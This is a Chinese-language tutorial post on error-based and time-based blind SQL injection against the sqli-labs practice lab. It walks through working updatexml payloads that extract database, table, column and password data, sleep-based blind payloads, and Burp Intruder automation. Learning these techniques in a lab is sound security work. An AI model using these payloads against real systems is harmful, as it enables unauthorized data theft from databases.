sql注入漏洞报错注入和盲注是怎么样的
发表于：2026-11-02 作者：千家信息网编辑
千家信息网最后更新 2026年11月02日，今天就跟大家聊聊有关 sql注入漏洞报错注入和盲注是怎么样的，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。环境：sqli的第一关用的szx.p
千家信息网最后更新 2026年11月02日sql注入漏洞报错注入和盲注是怎么样的
今天就跟大家聊聊有关 sql注入漏洞报错注入和盲注是怎么样的，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。
环境：sqli的第一关用的szx.php
一、报错注入
1、获取数据库名称，通过修改limit 后面的值获取不同的数据库名称
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
2、获取数据库中的表，指定数据库名称，通过修改limit 后面的值获取不同的表名
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='jay' limit 2,1),1) -- +
3、获取表字段，指定表名并转为十六进制形式，通过修改limit 后面的值获取不同的表字段
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x75736572 limit 1,1),1) -- +
4、获取字段内容，指定数据库字段和表名称，通过修改limit 后面的值获取不同的字段内容
http://192.168.1.129/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, pass,0x7e) from jay.user limit 1,1),1) -- +
二、盲注
1、获取数据库长度，如果数据长度大于等于2等待5秒，如果小于2不做任何操作，修改该数值判断数据库长度
http://192.168.1.129/php/szx.php?id=1 and (select (if(length(database())>2,sleep(5),null)))#
2、获取数据库名称
如果数据名称左边第一个是'j',多停留1面，如果不是多停留5秒，修改该字符判断数据库名称
http://192.168.1.129/php/szx.php?id=1 and If(left(database(),1)='j',1,sleep(5))
如果数据名称左边第一个是106,ascii码是'j',多停留1面，如果不是多停留5秒，修改该字符判断数据库名称
http://192.168.1.129/php/szx.php?id=1 and If(ascii(substr(database(),1,1))=106,sleep(1),sleep(5))
三、Burpsuit探测(盲注)
1、抓包发送到Intruder模块，并设置好变量
2、设置payload，ASCII中a-z是97-122，设置步长为1
3、start attack，只有106的时间是2000，其他时间都是5000多，说明第一个位数字的ASCII码是106，依次类推获取其他位置的信息
看完上述内容，你们对 sql注入漏洞报错注入和盲注是怎么样的有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注行业资讯频道，感谢大家的支持。
数据
数据库
名称
内容
字段
不同
长度
漏洞
字符
时间
位置
信息
十六进制
变量
只有
形式
数值
数字
更多
模块
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
咖啡豆
互联网新科技
互联网下的科技发展
喔噻互联网科技
互联网科技公司怎么样
卓越科技(互联网 )
上海万想互联网科技
太原新华互联网科技学校怎么样
互联网实体化科技化
中国互联网有什么科技含量
栖莱科技互联网股份有限公司
互联网科技大奖都有哪些公司
民营互联网公司国防科技
内蒙古九一互联网科技
互联网行业科技股
合肥互联网科技公司公章图片
上海万顺科技互联网有限公司招聘
众联互联网络科技
保山浩联互联网科技有限公司
平安好医生打造互联网科技医疗
互联网络科技
互联网高科技
互联网科技公司排名
湖北九亚互联网络科技有限公司
科技创新与互联网经济
互联网科技卖菜
奔汉互联网科技
佰商互联网科技有限公司
互联网对科技的发展
西安左小互联网科技有限公司
